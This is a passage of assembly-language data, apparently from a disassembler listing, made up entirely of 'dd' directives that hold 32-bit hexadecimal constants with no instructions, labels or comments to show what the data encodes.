		dd 0E2320769h, 0A3A19Ah, 3792E3AEh, 2F03C770h, 56C93349h
		dd 6F3A887Eh, 0DBBA0019h, 16AE9E4Dh, 0AF00A002h, 0D83DB224h
		dd 782BE82Dh, 4F143D6Ch, 9C530306h, 0BAA01977h,	0E02E8DE4h
		dd 800BDE6h, 0FD83F399h, 973900CCh, 51096D50h, 7816ACD6h
		dd 184075BBh, 0D4103277h, 234A39A3h, 0BF96949Fh, 83ADC680h
		dd 0D2F63443h, 3A391E00h, 3B5DA31Bh, 0DFE00EAh,	3C0ABA0Bh
		dd 51018B16h, 1E2EA5EBh, 0B8505A5Eh, 945418BCh,	0E6ED8798h
		dd 0B7609188h, 8D102080h, 5130B400h, 362B62F9h,	0DD1A0092h
		dd 0EB2C3BA4h, 3019F07h, 0B2FFA18Ch, 0AAD888E5h, 548D00B8h
		dd 0A46C1427h, 0AB7C7377h, 0F03ADF00h, 1D08871Bh, 0E3010097h
		dd 41CFC7E0h, 0E70057A6h, 0AD8C279h, 374C0EAh, 0AB649AFFh
		dd 0B788FC88h, 0E6032F63h
		dd 0C3B4E75Eh, 571100F1h, 0AF3372DAh, 0F7009BDEh, 6CD20E5Fh
		dd 37F840D5h, 0F0294860h, 0A1E04DC2h, 0A2000574h, 0DC495B98h
		dd 6340D6h, 0C7757CD4h,	109330E9h, 994B3Bh, 3DECF278h
		dd 75ABD8Fh, 63D52BD8h,	72C791ABh, 0D669E8A1h, 520121FCh
		dd 8EE6365Eh, 68D56084h, 1BF2AD4h, 0CF59DA4Fh, 0CC58DB5Ah
		dd 21FACD0Ch, 2881F800h, 0B69336C8h, 89A900FFh,	43A755F2h
		dd 1B00C62Eh, 324ADA38h, 0F5C80BDh, 3BB023E6h, 0F249C940h
		dd 85C246Eh, 11648D4h, 131AC8B8h, 832095CFh, 181400EBh
		dd 0BD15F5F0h, 83006FAEh, 6399FE3Ch, 0E4E446A8h, 59EC0047h
		dd 0F31B9809h, 711D9F6Ah, 63007AEFh, 29856D36h,	5B5D001Dh
		dd 0BDD86F65h, 200EE44h, 758FEAAFh, 98427E95h, 0E6DC0044h
		dd 2199851Ch, 1D00440Fh, 0FEABBB45h, 2CA37298h,	9784C853h
		dd 0A0A01EDDh, 0C0934D4Ah, 360AC812h, 0AA18C358h, 56F082D3h
		dd 243C47BDh, 0A94282EFh, 40926602h, 99AFAE4h, 0D63AC42Bh
		dd 5774FC20h, 2500E57Eh, 7906D75Eh, 16BECEAh, 0FA21D60Dh
		dd 30F7C986h, 9500E1E4h, 0F911F93h, 75834B3h, 23CC9D10h
		dd 7901D0C6h, 1700B8DEh, 0D50F82F0h, 2841D267h,	7C1A0E7h
		dd 0E2561651h, 0B0A1A936h, 0FC2445A3h, 77079E8Fh, 0B9ABC07Fh
		dd 0D7E132F0h, 0A60031Fh, 4E7DEBE6h, 0F11FFC0h,	0C109A600h
		dd 0F04676DFh, 6D4700AAh, 43E2789Fh, 0A48063Ah,	0D46800CCh
		dd 0C6480B38h, 0DE2600ECh, 0EBB1C165h, 0F005E17h, 0C2F392F0h
		dd 30358AF1h, 0D1E0B339h, 0BF2C45ABh, 1D0045EDh, 198B8C72h
		dd 0B8F4182Ch, 2F06477h, 97F7500h, 0CFB98916h, 66970FB4h
		dd 53E1955Dh, 2DF3FB9Ah, 77100F8h, 4E1C85FCh, 12F6000Fh
		dd 0BC245D9Ah, 16006FA0h, 43BBFBB2h, 773F0Bh, 3AB8DF74h
		dd 0A88EF2Ah, 5D0FDD76h, 404C86E7h, 0D9C6C39Eh,	0B68B003Ch
		dd 0F8010A3Bh, 87719FA6h, 0FB31D3Ch, 2D86D0h, 69FC5451h
		dd 0A4A0954Eh, 298172C1h, 5F035000h, 3DA6F465h,	5B963FEBh
		dd 0FC3F4C80h, 9CD9D014h, 790030FCh, 1C90543Ch,	0F52FD3h
		dd 398E7285h, 6A0A1627h, 20BE9704h, 84A20736h, 0FE419020h
		dd 48A79472h, 9FC3EB08h, 0BFFC00EEh, 46231C68h,	6E421D00h
		dd 0FF2ADE5Ch, 159C000Bh, 222DAE6Fh, 2500464Ch,	0AD05671Dh
		dd 10C7F479h, 8EDC5B1h,	4493F6h, 29334E46h, 0E200B908h
		dd 0CEC50C21h, 4A190E2Ah, 0F56C49EFh, 30612C52h, 0B5B81E20h
		dd 341FD0h, 5691EE05h, 0CDFB17A8h, 5D123Bh, 0B67FFE64h
		dd 417914h, 82CF35D8h, 0FF891F42h, 2B4F401h, 96ADB265h
		dd 145E2Ah, 0EDA59306h,	4C7D7B04h, 506FD63Ah, 0F14FF5B6h
		dd 65636080h, 0C8B11C2Ch, 0FE33CF51h, 0D3307A9Fh, 0EE94BC49h
		dd 0FF488814h, 4C6EC3BCh, 8F0CE0ACh, 0F6CF3BFEh, 3B711287h
		dd 0A0F269A5h, 0D1B07774h, 0C832EB27h, 0BE04EE28h, 3C550054h
		dd 91EACEBAh, 4000744Fh, 26EB094Fh, 9F2D0058h, 1B513CF0h
		dd 0EBEBFFA4h, 0E7B5FAB8h, 0A591CC04h, 48C3DE06h, 0D444D0BBh
		dd 93E418h, 76FA3665h, 46B9B805h, 0E81D19E0h, 30B05D9Dh
		dd 0F2EF0D8h, 873AAAABh, 0ECC9409Dh, 0AE35E7A6h, 0EA899900h
		dd 0C7E36BA9h, 179700AFh, 20FAC6CFh, 0C000E849h, 0AB188BA8h
		dd 3DE15F9Dh, 0A700E551h, 0AFA93565h, 0F009768h, 0F7338354h
		dd 3E069ACh, 9CB14F6h, 0D888DE45h, 0A6001781h, 44D15B9Dh
		dd 18DF6F5h, 9BF43AB6h,	0DC0F6598h, 0EA003861h,	8CAA7323h
		dd 4BAEE687h, 25602F58h, 0A380BFF6h, 306FD04h, 121097D5h
		dd 926B12h, 0C750AEB0h,	6100B7FDh, 0C38224DBh, 66A6D03h
		dd 0A511EAFAh, 44422993h, 21232F11h, 911B0801h,	519D6890h
		dd 8152121h, 9C909F47h,	48200384h, 9BE24229h, 0A8218024h
		dd 103D121Bh, 0B4899928h, 17440208h, 762284D1h,	11D84260h
		dd 0E5211066h, 906CC808h, 0ED284CCh, 842F948h, 22F0246Dh
		dd 98D1105h, 0E4126BE9h, 890B9610h, 76D109A1h, 0C60811h
		dd 6DD50Eh, 1EECDA2Bh, 0D030AD34h, 4A67CA01h, 914DD3FEh
		dd 0DDE8CC21h, 94B800F6h, 0A4CE1F50h, 14A0F20h,	22A4C81h
		dd 1F887E8h, 0A7A945AFh, 0D111EFF9h, 0AC906438h, 99B5B603h
		dd 0D8D2E868h, 3A8BDBBh, 0FDBC2C6Eh, 79B878D5h,	2E788450h
		dd 75D2DC00h, 3252D471h, 69DF011Dh, 0CDAF565Eh,	12F9CC5Ch
		dd 0A4ECA30h, 9874CBBAh, 0D251041Dh, 9026FC13h,	88284348h
		dd 0F62A070Bh, 828809BBh, 0F0E52E3Fh, 0CF470014h, 7160188Ch
		dd 0EE300222h, 0C9BF3CE7h, 14DD0029h, 9EF36E80h, 0EB00E1EAh
		dd 7F17884Eh, 32D3507h,	66DBFA02h, 20F6F411h, 91DA5A00h
		dd 7A2837D9h, 0C095094Fh, 0B478F5D7h, 11E78701h, 666EB8ADh
		dd 1265A9C0h, 0C0145A81h, 78B4BC48h, 6B04531Fh,	7C88192Dh
		dd 31260CCh, 91C239D0h,	30C088E4h, 0DF070F40h, 9843BAC4h
		dd 0EE3FF500h, 7E2B00F2h, 0B080F631h, 5200C1D3h, 0BECE26DBh
		dd 4E14193Ch, 92F805F4h, 34840095h, 0E8FD7BA0h,	1C482F00h
		dd 6D84564h, 0EEF30030h, 9FB3DD87h, 0EA00040Bh,	27FC95CEh
		dd 781855h, 6DC86BD0h, 97980866h, 1A017DE4h, 8B1D0D61h
		dd 3FCCA1ECh, 0EB6C0612h, 708A1F75h, 0A660C405h, 0D801A39h
		dd 739D4Bh, 8157B8D6h, 0D9382D10h, 927C2B01h, 0D213618Ah
		dd 95B2F88Eh, 45F12040h, 9900198Fh, 0A3CFA208h,	0F6CACBh
		dd 0D4100492h, 0D94EB57Ch, 808A5B39h, 0E6CEF9CFh, 0F4F7CDh
		dd 0A7BA385Fh, 0BEEFD6Fh, 5065E001h, 0F7F3AB40h, 0C8606031h
		dd 52A302E5h, 258B9664h, 0FF42DEC0h, 2C76C301h,	0E126E9C5h
		dd 75E55E8h, 0A7A81C30h, 40B8D545h, 0A2EE8D80h,	0F04468Ah
		dd 0A3CD1761h, 99578880h, 706A043Eh, 0F084E4A4h, 48005AA8h
		dd 0EFC73A3Ch, 0F1CAFCCh, 126B77B6h, 0F221AE25h, 554E1040h
		dd 0BA6F1C00h, 11263D3Bh, 4A9D1F00h, 76ED7B8Dh,	0B65E1288h
		dd 0C68C074Bh, 0A33C817Fh, 0AEC00154h, 89E100FAh, 0DC129DF1h
		dd 640024D8h, 0EC61C73Eh, 0E6D8902Ch, 0F1E871h,	0FE56AB62h
		dd 0DDD8EB05h, 0DBA2705h, 8F0113Eh, 0BB4C0582h,	3D59AB0h
		dd 4E658AECh, 937880DCh, 3CFA59C4h, 588CEC13h, 5F6EF0h
		dd 46765CF1h, 4FDFC26Eh, 0F1F3301h, 869DCAC1h, 0BDAEE0h
		dd 22FDAAE3h, 98049B61h, 88AB2A00h, 0F26005D3h,	0BD3900E5h
		dd 0FF293086h, 0C8E8DEDBh, 0DCB5AE00h, 0CF09D1F9h, 53EEC1h
		dd 5F77DAC0h, 37CB92E6h, 2D73F600h, 9AE186E7h, 8F00001h
		dd 6D962BC9h, 63048E33h, 0DF1B0ADCh, 0B2B6D880h, 7BF8009Eh
		dd 4DCBAC6Bh, 910FFE17h, 400CCD1Bh, 3E41F6EDh, 0FEBA7A6Ch
		dd 0E9F91608h, 0A434C093h, 8C0F146Dh, 2043BBFFh, 0C3DC09B6h
		dd 42EB02E8h, 6487801Dh, 196460D8h, 4CC1358h, 0CE5E0B79h
		dd 0C0C089AEh, 0BD0309ECh, 536617D1h, 0D0D6A822h, 0F0730052h
		dd 0E137CD7Ch, 0C52D51E7h, 7930026Eh, 4B010002h, 0BF00FC1Dh
		dd 6329C3CBh, 5F0568h, 9C43843h, 1D3444D4h, 0ACA2120Bh
		dd 0CCEC807Ah, 458A075h, 49151F89h, 984C10Eh, 0AA22603Fh
		dd 61A7BD00h, 378B5B07h, 0FF161E4Ch, 608E00C4h,	0A4303881h
		dd 5921750Eh, 80B4AB55h, 4D56C6CFh, 2A830043h, 78CA2FE6h
		dd 0C0009909h, 0EAB04689h, 3FCDD3BFh, 874F5A5Bh, 910E640Ch
		dd 0CC2F46B0h, 71009298h, 8FA9CA49h, 0F23847h, 363512DEh
		dd 7759A71Fh, 9078098h,	380EBE07h, 0E7558FE0h, 1A2A00A1h
		dd 19155E62h, 1C2DA0FAh
		dd 50041460h, 0EE9C25h,	0FF0EA3Bh, 0C998D4ABh, 66DBD82Eh
		dd 0C27CB600h, 1CE82h, 3C910323h, 0A70B581h, 0B7985F00h
		dd 33BA9718h, 0AA86006Ah, 724F9AEh, 0CD0082A5h,	0E5FFC4FBh
		dd 93FC83h, 0CFD8A441h,	6836C0EBh, 22119860h, 15EA105h
		dd 28576D39h, 30CEE52Ah, 490048F8h, 2E9BD7D0h, 78CFFEh
		dd 5F0395B6h, 1F402B67h, 0E9BDFC00h, 0F9737D10h, 24200A5h
		dd 0AFA363D3h, 4700ED60h, 79B9BBEAh, 6A075Ch, 0F568A1BEh
		dd 4CB22EFFh, 52098A00h, 33F919C1h, 0A8130063h,	0F1151738h
		dd 9E1342C4h, 2C02D24Fh, 43E0B7A6h, 0EB1ED894h,	0D7160F94h
		dd 83236738h, 0B9F02D49h, 99020797h, 90CAAD62h,	1E587026h
		dd 80EF7D65h, 0F1304D55h, 4B3D1F80h, 5A05020Eh,	40C270A5h
		dd 2B1D694h, 0C3668714h, 8078D73Dh, 925A7500h, 0AAC5CE90h
		dd 882C4E84h, 5B5028D0h, 1201EFE0h, 23CDF3DEh, 883054D1h
		dd 6E50007Bh, 0E9BE678Eh, 0C3004697h, 5FCA455Dh, 4E0E22h
		dd 0C6A8C80h, 0FDED38DBh, 6000B5EAh, 76CD4918h,	583DEh
		dd 8C9C4E99h, 0D3E56AFBh, 0F0082503h, 0F095FC75h, 1ED6093Fh
		dd 0C0771843h, 8C5C649Fh, 3F4B87Dh, 0F23A503h, 0B057C040h
		dd 69BE4Eh, 951BC714h, 0BD80F020h, 0EE537604h, 70C03E82h
		dd 25B6D912h, 0B2FE67DBh, 4E067500h, 5C2E1E0h, 0B30E5A0Dh
		dd 20B34Ch, 0FA1556D4h,	2249B6Fh, 32EECA37h, 6CF64339h
		dd 75DEF600h, 6014C253h, 0D838B626h, 72016FF2h,	99359B86h
		dd 0C5E890B7h, 0DEA04CEEh, 0DC009D48h, 0ED0966E8h, 5100BEFEh
		dd 70FFB63Ah, 0B0A05DA7h, 5CE77F70h, 1D80F8AFh,	3D72D64Bh
		dd 0D214FC03h, 0A9B4911Eh, 0EC609AE3h, 5E971C39h, 57D409Dh
		dd 0E890461Ch, 5C01D426h, 49FB3A00h, 0C3D0AD9h,	0D3AE9169h
		dd 0F0787118h, 6CCAE900h, 0D524BC3Ch, 0E073F414h, 3F82F64Bh
		dd 0E82EE41Bh, 620D0EAFh, 9A61E900h, 4700BF2Eh,	52C721F2h
		dd 0E93846C0h, 123BF0h,	19502894h, 2C9DCC0Ah, 0D101DC7Ah
		dd 0B4E22E35h, 5AC4DE37h, 0F44002F9h, 0FF3DD285h, 7FB5B60h
		dd 27C4C202h, 60F22392h, 3D4DE664h, 0D68A06DCh,	1388BB39h
		dd 0AC9B0028h, 8F279BB7h, 83C5F71Dh, 650BE780h,	26349Fh
		dd 64123DD4h, 0D8C82581h, 5768301h, 0CF506EFh, 56109078h
		dd 82E7009Fh, 0DBD36460h, 4333CB3h, 7605C583h, 0A4D8133Dh
		dd 0AE002245h, 33AB8AC9h, 0E7ACBCDh, 4A9AFD4Dh,	1B65AC40h
		dd 75025BA1h, 0CAEE8E1Eh, 882C011Ch, 10403EE4h,	0C8015ED2h
		dd 0E2BE0028h, 315F8449h, 0C91D9AD8h, 0FF8078Bh, 40EE03EBh
		dd 273F6D9Dh, 0BB7E6Ah,	0A06EB748h, 7CE11468h, 9531B200h
		dd 75E7ADDDh, 7BE02E3h,	0F9439BABh, 0D154E082h,	8140F48Eh
		dd 0A2FE6670h, 2D0F1700h, 0F361F2F1h, 3914007Eh, 0F5082468h
		dd 0A200B404h, 5AC8E83Eh, 774B2B7h, 0AC10B8E3h,	9F78F17Ch
		dd 8A71F411h, 8BB33D03h, 0C049737Eh, 1E29A0Ah, 51F2EA0Ch
		dd 0C00F9392h, 543BC4ECh, 80D73A1Ch, 7ED6DD08h,	0CA837Fh
		dd 656AB092h, 27200C29h, 0EE28C700h, 4CB1AED5h,	1EA6005Ch
		dd 0B779C516h, 0F14817A1h, 1BA16B4h, 0F2587CC0h, 6CFEA8h
		dd 0A6137DA4h, 0CD194852h, 0E41D0300h, 0F8EC020Ah, 226B000Dh
		dd 749BDC08h, 9200A159h, 0EB7A769Dh, 0F3EAFB85h, 7DB3B420h
		dd 7E6A00BDh, 5BCA1890h, 5F00A92Bh, 0CDD0C947h,	0CE2261h
		dd 1CE4BDA6h, 3C8CD1A7h, 0AA01D318h, 180AB40h, 5E025703h
		dd 0EC6F67D6h, 9009E4h,	5B009B7Bh, 428EF308h, 0D3F739h
		dd 8CC23613h, 0DE1CA34Fh, 8908A600h, 550EB52Ah,	0B4E507F7h
		dd 6744033Fh, 0E01337E1h, 494ADA01h, 0D9162975h, 380077BAh
		dd 0C5FA127Eh, 3FC301E7h, 0DD6DD48Eh, 2C006ED3h, 0B0C77A6Eh
		dd 14332632h, 26DF00B6h, 7395D349h, 0BEA52307h,	244F688h
		dd 170C480h, 80CB0081h,	0D51C9171h, 3700239Ch, 0FEE08BE2h
		dd 0B0DF1472h, 94BA0024h, 0AA2B9938h, 0C094FD89h, 4DB12860h
		dd 13272CD8h, 42580AA8h, 476487A4h, 1EE0D08Dh, 7D4AAB34h
		dd 8B3A84C0h, 0DE1880B6h, 3BC3027h, 0D8959E78h,	9A645Ch
		dd 0A1B4D051h, 575D06FAh, 0B0166028h, 90E55E1Fh, 217EB0CFh
		dd 0E665C973h, 13E7C3ECh, 0C22F8D31h, 1C6403A4h, 0D4491F00h
		dd 0D70C714Eh, 76CA003Ch, 3E56D877h, 6612DD21h,	4B1C8F9h
		dd 264C02F4h, 4241A0Fh,	0A01626D6h, 2104C620h, 40B88C2Ch
		dd 0F84846C3h, 33CFBE9h, 0D22213C2h, 43E0964Fh,	0E49ECFBCh
		dd 57660806h, 0E1A10741h, 81A96083h, 2AC41201h,	0A4C0F412h
		dd 8E2589Dh, 260FCAB3h,	655CF100h, 17425499h, 3480BCCh
		dd 47ABC23Ch, 48CD2027h, 4B03BE6Ch, 6CCA00D8h, 4A56BC1Ch
		dd 6C004ED2h, 0EA93C0E8h, 0F3600084h, 2FD43872h, 0C4008B4Fh
		dd 0CCE41E4Eh, 9690FB64h, 7EA940BCh, 8616D7AAh,	41070EFAh
		dd 22C0CF55h, 20693BFh,	76163B96h, 8660F784h, 0C017C154h
		dd 160B0h, 0EE372A88h, 0B86C70D8h, 2DDA00C8h, 0C5E292C9h
		dd 460072C3h, 0B40221F8h, 610C99AFh, 0A14E29E4h, 1974605Ch
		dd 0CDD98713h, 4A0038F6h, 1D1145FBh, 0A3001971h, 8D56B069h
		dd 308EEFh, 0A295E581h,	45784CE2h, 0DB85EC09h, 0CEAC82B1h
		dd 0AC5D40C2h, 0E490762h, 60F21C15h, 345E6C83h,	472CA312h
		dd 5CC49847h, 2AC69A50h, 6014166Bh, 63EC0048h, 0B8D03CC3h
		dd 21D63F00h, 0FC786C26h, 0A4D902BFh, 8725B96Ah, 8E009078h
		dd 5062342Ch, 35B3C4h, 9F151730h, 0F070B24Fh, 0DA2CEF00h
		dd 27C90866h, 0D12E0E6Fh, 870F7913h, 0FCE0FB2Bh, 4D00C40Ah
		dd 955F1706h, 105EC0Bh,	555E4331h, 7021325Ch, 0FB006DC8h
		dd 8411D8Ah, 0FDD0F568h, 0E4B931C0h, 173F47Fh, 1689C726h
		dd 0E8E53C29h, 8CB86240h, 9CBEAB00h, 3DD1E96Bh,	0A9B03ACBh
		dd 8E9E4E03h, 48009232h, 0BF70F411h, 97231h, 7CD60A94h
		dd 1521CF05h, 0F1FCEA00h, 86975517h, 29E00056h,	0A479CEF8h
		dd 930E615Fh, 2E07A91Dh, 50B0BE9Ah, 676ED7Fh, 4EC784BFh
		dd 0F003904Dh, 0B04A4464h, 8EA188E4h, 0ACE6007Ah, 23A21AFEh
		dd 0C60039ADh, 0EE7761F4h, 0B108FFh, 50A3D342h,	2EAC60C7h
		dd 1DCA2D00h, 709C968h,	3F6F01E0h, 0E2486785h, 8F88226Eh
		dd 0C1F54F86h, 0CB280F25h, 0F31040EEh, 0E8AF00B7h, 90E93BD1h
		dd 5F905884h, 86AC4B00h, 0E754C020h, 0BB1004Ch,	87769A6Ah
		dd 0FE3E0596h, 5B078029h, 0FBE066D5h, 30C0002Dh, 0AC592FC6h
		dd 84009EB6h, 221B7D12h, 71523DC5h, 631E0F73h, 17A1C202h
		dd 315FF264h, 7D046C15h, 186A8726h, 0E32C3300h,	1F847DC9h
		dd 407161AEh, 0AA98E131h, 4F0059FEh, 7AEB8A92h,	0C2AB1708h
		dd 6887FC41h, 8C0C0100h, 307A646Ah, 70DCD0BEh, 7C9A9AFBh
		dd 9BB87C00h, 30831A09h, 3EB527C1h, 80A30400h, 0E1FCFDCBh
		dd 6B81E724h, 95BBEC00h, 183B7BAh, 6DD9F535h, 9E177F3Ch
		dd 8EC01558h, 0A9F8060Ch, 19BB60F7h, 0B999FA71h, 607B70CFh
		dd 8D133698h, 8FBA0035h, 91E9DE31h, 10979A8Ah, 44AFFAF8h
		dd 0C40EBBF9h, 0C05CAE4Fh, 0EC2F3C95h, 7FBC0004h, 0B27A907h
		dd 9E48B8ADh, 90660088h, 6A3DF706h, 4C5400F3h, 58092A5Eh
		dd 0FE017596h, 700885C3h, 0AB203A11h, 697A8Eh, 63C81AEh
		dd 0AAABCC59h, 1C72E024h, 2FB9A40Eh, 0CFAC6F5Ch, 6F00B3FEh
		dd 3E7271A5h, 0A1DA0016h, 6E915B4Eh, 0D0B57E10h, 873225A9h
		dd 2EEAA870h, 6841B1Eh
		dd 0A9572800h, 1D7993h,	0F78849A7h, 0BADD724Ah,	8036E000h
		dd 6D758CC9h, 0A5DC001Fh, 90E1203Ch, 3E177B0Fh,	1C05D53Fh
		dd 0CC80DB60h, 140481C6h, 0AC36157Eh, 7CD1D700h, 6607FA44h
		dd 0F86800B5h, 60EE3B97h, 514311A1h, 4A07463Ch,	7D3068C5h
		dd 41D71D20h, 5AFEC8Eh,	98939CCDh, 815CD075h, 0D1003140h
		dd 5FB895DCh, 985F508h,	0FA024FB2h, 93B6A580h, 701B501h
		dd 0A7611222h, 5CEC8F76h, 2CBF817h, 4ABE1C4Ch, 0B0FC964Dh
		dd 0A0C22700h, 1E1B1324h, 4044F4F3h, 7CB6C505h,	0E4009353h
		dd 896E6286h, 0B7736BC9h, 0BD60CC8Eh, 6CDA0A5Ah, 0E1DB2602h
		dd 78DE351Bh, 101A5CF4h, 0A448EC09h, 0E6048473h, 60803A9Ah
		dd 0B30F84h, 1264A2C5h,	3B2F4142h, 79435C00h, 59D03A94h
		dd 720A0DDAh, 0E4E0454Eh, 0E6F2C955h, 33A88097h, 0BCEBE1h
		dd 7FDEB9F7h, 23429165h, 27CFE406h, 1C397CBFh, 58FE2E03h
		dd 195C11B9h, 67708D0Fh, 0D10A407Dh, 7F090DBh, 0C272E928h
		dd 4CBE50D0h, 30EF20F5h, 6E09390Ch, 138AB692h, 511100A4h
		dd 0CC50DA4Fh, 592CF6C9h, 98609046h, 1817C355h,	3109B613h
		dd 6A18F96Bh, 0B7A930D3h, 90712EBFh, 61650040h,	2AABE5F2h
		dd 0B9AA0800h, 6A7CF19Dh, 345F5ED1h, 27388758h,	0A7207008h
		dd 0F900F711h, 5677520Fh, 782B4C2h, 0FF1A4AA8h,	175FB0BAh
		dd 8500E6DCh, 117BE949h, 0A27DE60h, 0FBEE2D14h,	0E48049BCh
		dd 8C22374Eh, 0E8A63401h, 353E1D84h, 1E51C5DCh,	0E535E29h
		dd 9AE3C2DCh, 0C8F01879h, 0E0005A9Bh, 3C86B755h, 0B269CF4h
		dd 0E4569DFBh, 0B50E54F8h, 2E41B0C3h, 55B2A00Ah, 0E2E01126h
		dd 0D223006Ch, 7F7E87F6h, 0B402FBF7h, 86049AB0h, 1007866h
		dd 23D9F619h, 0CE7609C2h, 8B0C60C8h, 97FB639h, 205D03F5h
		dd 65DF01A8h, 89D05823h, 0B8B3B076h, 7D060080h,	869CF816h
		dd 0B500A737h, 0D88C1198h, 0D7F0A5h, 0EF7E4EDEh, 5F6E324h
		dd 0F9AEA307h, 9040B162h, 0C91D9Fh, 0F56BFA0Ch,	0B5F86E31h
		dd 9178CB16h, 54C0D413h, 94472Fh, 770F081h, 137F348Eh
		dd 0C6EE0200h, 0CF5299B6h, 7A0BE44h, 60490B59h,	13B011EDh
		dd 693A04B2h, 2F8482E7h, 50DDDF87h, 0CE230358h,	0AEF78566h
		dd 0D21CA0CDh, 38953500h, 0AD652F32h, 44AA0929h, 7E823423h
		dd 60FA938Eh, 82A1051Fh, 12142F00h, 0C0043840h,	3D8B6A59h
		dd 31E7828h, 0EFC00B4Dh, 2B31766h, 0A07B1335h, 0B0AA1814h
		dd 0F8177DEAh, 7400B809h, 6884609Dh, 7B140E43h,	90C63CB7h
		dd 720959ABh, 40C94A01h, 14EB6BA8h, 609D5EB6h, 734E0381h
		dd 0B4F98052h, 2808AFA2h, 0C6BB013Eh, 9CF4289h,	786C504Ch
		dd 1C008777h, 4EA4B806h, 1507DB5h, 71806E03h, 0C4F9FC44h
		dd 0CE609102h, 78A33378h, 0A26E12F2h, 0CF917h, 0EE440B51h
		dd 606DBB79h, 0B2B1812Ah, 82008ABDh, 2C915293h,	6DEBB22h
		dd 13B5EC38h, 4D0C29B7h, 0E9E1D35Bh, 42AA1E87h,	2E58C0A1h
		dd 416686Eh, 55061DE2h,	18E5C756h, 2F4816C0h, 0E8950F08h
		dd 6C11AC35h, 28D30B22h, 859C7189h, 0E0508D1Ch,	2D0045E8h
		dd 75D5380Eh, 1873A72Fh, 28363103h, 320F9A97h, 0C6C7F879h
		dd 7C416557h, 3DFF00Bh,	0EA7FC92Ah, 0C1028D0Fh,	0F78A7EEFh
		dd 0AB48E111h, 70102Ch,	27E367EEh, 0D8DAD94Dh, 5354BC05h
		dd 60D58AC5h, 48C324A4h, 0A090148Dh, 565E89A0h,	19201D02h
		dd 805A658Fh, 0DC24CFF4h, 0A8EF549Dh, 74821FCBh, 138FC041h
		dd 0F23C5798h, 21B32F00h, 0E04DDBCFh, 0ABAF288h, 420873D9h
		dd 49F704ACh, 8128951Bh, 70F6EC7Ch, 3C025A88h, 0EAF8B9C2h
		dd 9D905642h, 93DB037Fh, 0B4C90E8Ah, 0ED51F098h, 6BC73800h
		dd 5E152DA6h, 0CB5D0006h, 1D6D7EC5h, 6E1C36DAh,	1AC0C32Fh
		dd 0C73D3445h, 0E6430ED6h, 0D140FEB2h, 0F484104Bh, 7042C02Ch
		dd 68CF2601h, 119ED2E4h, 0C464C0EEh, 0A40C79E1h, 410EB01Eh
		dd 20EB3A0Eh, 967A046Ah, 0F9A9037Dh, 68D31734h,	50040A54h
		dd 0F2F090BFh, 240C78C7h, 24476FE9h, 0E86A00E7h, 0BB3BA12Bh
		dd 0ACECF928h, 0F8109F0Ah, 36038CB6h, 0F51BE6B0h, 8BB8BC00h
		dd 0B2FDE20h, 7433DD17h, 56CDE080h, 732496B9h, 23808835h
		dd 0A3D9F31Ch, 62840E45h, 0D4D46FE2h, 0A036058h, 1E9259C6h
		dd 366B31B0h, 18330800h, 25DB7E16h, 47E2006Dh, 920DD721h
		dd 773BC3BCh, 15E1002Fh, 0EE9E93F4h, 0D08295C1h, 0FCC0C885h
		dd 0E6005DD9h, 2DEA364Fh, 0FF30E5Eh, 0D183A095h, 0EFA59360h
		dd 3C00A30Fh, 2F4084D4h, 7E82D5E1h, 0D01F00C7h,	44CBC6BDh
		dd 0FC12B1E9h, 7B03CDB6h, 0B1DAF880h, 829F01Fh,	41248158h
		dd 68ED00DBh, 79E6B95Ah, 80C4073Eh, 1D636010h, 0C25938h
		dd 835021BDh, 5895E529h, 0FA2A1700h, 0B1B3E25Fh, 0D56007Fh
		dd 4B298A74h, 9E00E11Ah, 9D30CB10h, 2CA983Fh, 0D4AE526Fh
		dd 0AC80F8BFh, 66A96942h, 5AA01E00h, 0CF5E170h,	0EBB0006h
		dd 5581103Ah, 8C00A5EBh, 5073BA91h, 0B68AE394h,	0B1DD0584h
		dd 0CE74C009h, 0BD004302h, 0A7998153h, 5AD52BF9h, 0C89841FBh
		dd 7FA82E10h, 0F60A8C00h, 0FA4FF29Fh, 0BD151F9Dh, 0AA6340ACh
		dd 0A913EC6Bh, 0A26C4407h, 4581C253h, 4FE4CD35h, 3016006Dh
		dd 3BF022A4h, 0A9BD79BFh, 0D85218h, 9866AC06h, 6F808F27h
		dd 41D002B5h, 0B76FC125h, 97CE2960h, 0C3701C85h, 2D9B8F6Ch
		dd 1802CDA8h, 311BA900h, 43F8097Ch, 836E09C0h, 1580FD37h
		dd 759DE6A2h, 7F8C8000h, 6A3394EDh, 838E007Ch, 2D588D3Dh
		dd 0AE02FE19h, 48CD8256h, 0EE784010h, 4C374866h, 40807E09h
		dd 98529C0Bh, 0EC9C8D0Eh, 0E61465EAh, 91BE00C0h, 0D7020042h
		dd 2FD42167h, 702F37AFh, 8528C93Bh, 3E93D5h, 2C99BD84h
		dd 291252ABh, 0B613F2F8h, 49665C40h, 0CBC22D63h, 0C0F02911h
		dd 0ACA95A26h, 0A1C0A51Dh, 3088726Ch, 0E3852DECh, 0A50068EEh
		dd 54ACFE76h, 0B05720C4h, 6F043C00h, 9F2FC500h,	0A63EF037h
		dd 3AC46254h, 91BD680Bh, 0E3480008h, 2605618Dh,	80F82615h
		dd 303F63C2h, 8001D7FDh, 102757EFh, 30809D7Dh, 69C9CF94h
		dd 520E2C92h, 802A01FAh, 0F20B7205h, 88DA4E3Dh,	3179430h
		dd 3439F86Ch, 0B3A0406Eh, 0CE105E7Bh, 6CFD0F00h, 1F4D2AF6h
		dd 78DB02B5h, 8BC2A711h, 997A1CC8h, 0E4B0ADFEh,	1C44D90Fh
		dd 247B80F7h, 0A1F06EA7h, 15F0D088h, 39C8BA89h,	0DE804E83h
		dd 668D9F48h, 0FB0ED450h, 0C4908599h, 6CE4CF77h, 8048B9ECh
		dd 79BAB94Dh, 3906F25Ah, 6506572Ah, 0D1444E1h, 93A2D507h
		dd 7DC029EFh, 132695BBh, 7A2791h, 0A55D6E00h, 0D1E0C702h
		dd 0B3489B1Ch, 3D9D0C83h, 0BDC000DBh, 7F216471h, 0C80079C5h
		dd 85736FA2h, 5C84EF0Fh, 0C8403893h, 0E6D03A55h, 0A989D8Bh
		dd 0B899D009h, 0B4BCE0DBh, 9E9692Fh, 19C5484h, 0EB2F98B3h
		dd 0F6988066h, 39E2777Ah, 0B6F0269h, 0B8785AA1h, 6AC6A4E0h
		dd 0FC761702h, 0D952F8B7h, 0B6003A48h, 9BCEEE01h, 4E0FF720h
		dd 80AC1514h, 0A20A167Ch, 22CD0069h, 0F64675D4h, 9373FA3Fh
		dd 0DA126B00h, 0ABB4376h, 0F9370098h, 0A4607001h, 0FD05C10Dh
